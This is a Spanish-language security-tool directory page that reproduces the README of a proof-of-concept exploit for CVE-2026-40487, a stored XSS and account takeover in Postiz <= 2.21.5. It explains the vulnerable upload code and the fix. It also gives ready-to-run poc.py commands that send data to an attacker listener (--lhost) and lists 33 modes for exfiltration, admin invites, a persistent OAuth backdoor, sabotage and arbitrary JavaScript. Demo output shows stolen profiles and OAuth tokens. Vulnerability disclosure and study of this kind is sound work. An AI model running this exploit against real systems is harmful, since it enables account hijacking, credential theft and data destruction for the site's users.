Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-40487 — Prueba de concepto del exploit para CVE-2026-40487, que demuestra la carga arbitraria de archivos mediante la suplantación de MIME, lo que conduce a XSS almacenado y toma de control de la cuenta en Postiz. Incluye múltiples modos de ataque para la exfiltración de datos, escalada de privilegios y persistencia. | Kitploit
Herramientas/GitHubGitHub/astaruf/cve-2026-40487
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónDesarrollo de Payloads
GitHubastaruf/cve-2026-40487

CVE-2026-40487

Ver Repositorio
Sitio web
3hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Prueba de concepto del exploit para CVE-2026-40487, que demuestra la carga arbitraria de archivos mediante la suplantación de MIME, lo que conduce a XSS almacenado y toma de control de la cuenta en Postiz. Incluye múltiples modos de ataque para la exfiltración de datos, escalada de privilegios y persistencia.

Compartir

CVE-2026-40487 - Postiz <= 2.21.5 - Subida Arbitraria de Archivos mediante Suplantación de MIME-Type a XSS Almacenado y Toma de Control de Cuenta

Descubierto y reportado por: Astaruf

Informe completo: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/

Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-40487

Entrada GHSA: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx

Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-40487


Resumen

Postiz es una herramienta de gestión de redes sociales de código abierto con más de 28 integraciones de plataformas (Instagram, X, LinkedIn, Facebook, TikTok, etc.), utilizada por más de 600 instancias expuestas en internet.

Un atacante con privilegios bajos puede subir un archivo SVG (o HTML) malicioso con una cabecera Content-Type: image/png falsificada. El servidor acepta el archivo sin inspeccionar su contenido real, conserva la extensión original, y nginx lo sirve con el Content-Type derivado de esa extensión (image/svg+xml). Cuando una víctima abre la URL, el JavaScript incrustado se ejecuta en el origen de la aplicación, otorgando al atacante capacidades completas de secuestro de sesión equivalentes a la toma de control de la cuenta.

La cadena de ataque:

root@kitploit:~
Atacante sube .svg con Content-Type: image/png
  -> El servidor valida solo la cabecera Content-Type (CWE-345)
    -> El archivo se guarda en disco con la extensión .svg original (CWE-434)
      -> nginx lo sirve como image/svg+xml
        -> El navegador ejecuta el JavaScript incrustado (CWE-79)
          -> Mismo origen: acceso completo a la sesión de la víctima

Impacto

La carga útil XSS se ejecuta en el mismo origen que la aplicación. Aunque la cookie de autenticación es HttpOnly, fetch() con credentials: "include" la adjunta automáticamente. El atacante puede:

  • Exfiltrar el perfil de la víctima, claves API, tokens OAuth de todas las cuentas sociales conectadas
  • Leer, crear, modificar y eliminar publicaciones programadas en todas las plataformas
  • Invitar al atacante como administrador en la organización de la víctima
  • Crear una puerta trasera OAuth persistente (token pos_* que nunca expira y sobrevive a cambios de contraseña)
  • Deshabilitar notificaciones, borrar configuraciones, forzar cierre de sesión
  • Ejecutar llamadas API autenticadas arbitrarias como la víctima

Detalles de la Vulnerabilidad

Tres componentes fallan de forma independiente, creando la cadena de explotación:

1. La Validación del MIME-Type Confía en la Entrada del Cliente (CWE-345)

libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:

root@kitploit:~
const validation =
  (value.mimetype.startsWith('image/') ||
    value.mimetype.startsWith('video/mp4')) &&
  value.size <= maxSize;

value.mimetype proviene de la cabecera Content-Type en la solicitud multipart, que el atacante controla. No hay inspección de bytes mágicos, ni uso de librerías como file-type.

2. La Extensión Original se Conserva en Disco (CWE-434)

libraries/nestjs-libraries/src/upload/local.storage.ts:

root@kitploit:~
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);

extname(file.originalname) extrae la extensión del nombre de archivo proporcionado por el cliente. No hay verificación de coherencia entre el tipo MIME declarado y la extensión. El servidor también devuelve la URL pública completa en la respuesta, por lo que el atacante obtiene el enlace para enviarlo a la víctima.

3. nginx Sirve con Content-Type Derivado de la Extensión

root@kitploit:~
http {
    include       /etc/nginx/mime.types;
    location /uploads/ {
        alias /uploads/;
    }
}

nginx mapea .svg a image/svg+xml, .html a text/html. No hay Content-Security-Policy, ni X-Content-Type-Options: nosniff, ni Content-Disposition: attachment.

Prueba de Concepto

Requisitos

root@kitploit:~
Python 3.8+
pip install requests

Inicio Rápido

root@kitploit:~
# 1. Comprobar si el objetivo es vulnerable
python3 poc.py http://target:5000 -e [email protected] -p password --check

# 2. Exfiltrar todo de la víctima
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a full-dump

# 3. Crear una puerta trasera persistente
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a create-oauth-app

# 4. Reutilizar el token sin credenciales
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
    --lhost YOUR_IP -a full-dump

Flujo de Ataque

root@kitploit:~
Atacante                    Servidor Postiz              Víctima
    |                              |                        |
    |-- 1. Login/Registro -------->|                        |
    |-- 2. Subir SVG malicioso --->|                        |
    |<---- URL del archivo --------|                        |
    |-- 3. Enviar URL a la víctima ------------------------>|
    |                              |<--- 4. Abre la URL ----|
    |                              |--- SVG + JS ---------> |
    |<-------------- 5. JS se ejecuta, exfiltra datos ------|

Todos los Modos de Ataque (33)

Exfiltración (19 modos) - robar datos de la víctima
ModoDescripción
dump-selfPerfil de la víctima, información de la organización, nivel, clave API
dump-personalNombre mostrado, biografía, foto de perfil
dump-integrationsIntegraciones de redes sociales conectadas y tokens
dump-postsPublicaciones programadas y borradores (últimos 365 días)
dump-teamMiembros del equipo, roles y direcciones de correo
dump-mediaListado de la biblioteca de medios
dump-notificationsHistorial de notificaciones
dump-signaturesFirmas de publicaciones
dump-webhooksWebhooks configurados y sus URLs
dump-oauth-appCredenciales de la aplicación OAuth (clientId, secret)
dump-copilotHilos de conversación del copiloto IA
dump-billingInformación de facturación y suscripción
dump-settingsConfiguración de enlaces cortos y notificaciones
dump-third-partyConfiguraciones de integraciones de terceros
dump-autopostReglas de autopublicación
dump-setsConjuntos de contenido
dump-tagsEtiquetas de publicaciones
dump-customersLista de clientes
full-dumpTodo lo anterior en una sola carga útil
Escalada de Privilegios (3 modos)
ModoDescripción
add-adminInvitar al atacante como ADMIN en la organización de la víctima (--attacker-email)
rotate-keyRotar la clave API de la organización y exfiltrarla
rotate-oauthRotar el secreto de la aplicación OAuth y exfiltrarlo
Sabotaje (9 modos) - acciones destructivas
ModoDescripción
kill-notificationsDeshabilitar todas las notificaciones por correo
edit-profileModificar el nombre y la biografía de la víctima (--edit-name, --edit-bio)
wipe-signaturesEliminar todas las firmas de publicaciones
wipe-webhooksEliminar todos los webhooks
wipe-tagsEliminar todas las etiquetas
wipe-setsEliminar todos los conjuntos de contenido
wipe-autopostEliminar todas las reglas de autopublicación
logout-victimForzar el cierre de sesión de la víctima
delete-oauth-appEliminar la aplicación OAuth de la víctima
Puerta Trasera (2 modos) - acceso persistente
ModoDescripción
create-oauth-appCrear aplicación OAuth, autoaprobación, exfiltrar token pos_* persistente (--oauth-redirect)
steal-cookieRobar el JWT de autenticación mediante document.cookie (cuando NOT_SECURED=true)
Genérico (2 modos) - avanzado
ModoDescripción
api-callLlamada API autenticada arbitraria (--api-method, --api-path, --api-body)
customEjecutar JavaScript arbitrario (--custom-js)

Opciones Adicionales

OpciónDescripción
--checkProbar si el objetivo es vulnerable (sin ejecutar el ataque)
--registerRegistrar una nueva cuenta antes del inicio de sesión
-t / --tokenUsar clave API o token pos_* en lugar de credenciales
--format htmlUsar carga útil HTML en lugar de SVG
--proxyEnrutar el tráfico a través de proxy HTTP/SOCKS (p. ej. Burp Suite)
-o / --outputGuardar el botín en un archivo JSON

Demo

root@kitploit:~
$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗  ██╗  ██╗  █████╗  ███████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ██╔═████╗ ██║  ██║ ██╔══██╗ ╚════██║
██║     ██║   ██║█████╗   -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝     ██╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗    ██╔╝
╚██████╗ ╚████╔╝ ███████╗             ██║ ╚██████╔╝      ██║ ╚█████╔╝    ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═════╝       ╚═╝  ╚════╝     ╚═╝

  Postiz <= 2.21.5 — XSS Almacenado mediante Subida de Archivos con MIME Falsificado

[*] Iniciando sesión como [email protected] ...
[+] Autenticado.
[*] Generando carga útil: Exfiltrar todo en una sola carga útil
[*] Subiendo .svg malicioso con Content-Type: image/png ...
[+] Subida exitosa.
    ID:   28c1daee-d83e-403e-bc1f-dba63182d4b0
    Ruta: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] Iniciando listener de exfiltración en 0.0.0.0:8888 ...

=================================================================
  Envía esta URL a la víctima:

  http://target:5000/uploads/2026/04/15/4be19b2244eb.svg

=================================================================

[*] Esperando a que la víctima abra el enlace ...

[+] Botín recibido @ 2026-04-15 03:45:41
    etiqueta: victim-profile
    datos: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}

[+] Botín recibido @ 2026-04-15 03:45:41
    etiqueta: integrations
    datos: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]

[+] Botín recibido @ 2026-04-15 03:45:42
    etiqueta: team-members
    datos: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
    ...

Corrección

La versión 2.21.6 introdujo tres cambios:

  1. Validación de bytes mágicos mediante la librería file-type para inspeccionar el contenido real del archivo
  2. Lista blanca explícita de tipos MIME (sin más comodín image/*)
  3. Sobrescritura de extensión basada en el tipo de contenido detectado

Cronología

FechaEvento
2026-04-10Vulnerabilidad descubierta durante la revisión del código fuente
2026-04-10Reportada mediante GitHub Security Advisory (GHSA)
2026-04-10Los desarrolladores la reconocieron y solicitaron aclaraciones
2026-04-10Se proporcionaron escenarios de ataque detallados y datos de Shodan
2026-04-11Disputa de CVSS presentada con evidencia
2026-04-13Corrección publicada en v2.21.6
2026-04-14Asignado CVE-2026-40487
2026-04-15Divulgación pública

Referencias

  • Informe completo de Astaruf
  • CVE-2026-40487 - Aviso de seguridad GHSA
  • CVE-2026-40487 - Entrada NVD
  • Postiz - Repositorio oficial
  • Postiz v2.21.6 - Versión de corrección
  • CWE-345: Verificación insuficiente de la autenticidad de los datos
  • CWE-434: Subida sin restricciones de archivos con tipo peligroso
  • CWE-79: Cross-Site Scripting almacenado
  • OWASP - Subida de archivos sin restricciones

Aviso Legal

Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. Úsala solo contra sistemas que poseas o para los que tengas permiso explícito por escrito para probar. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el mal uso.

Licencia

MIT

Descargar herramienta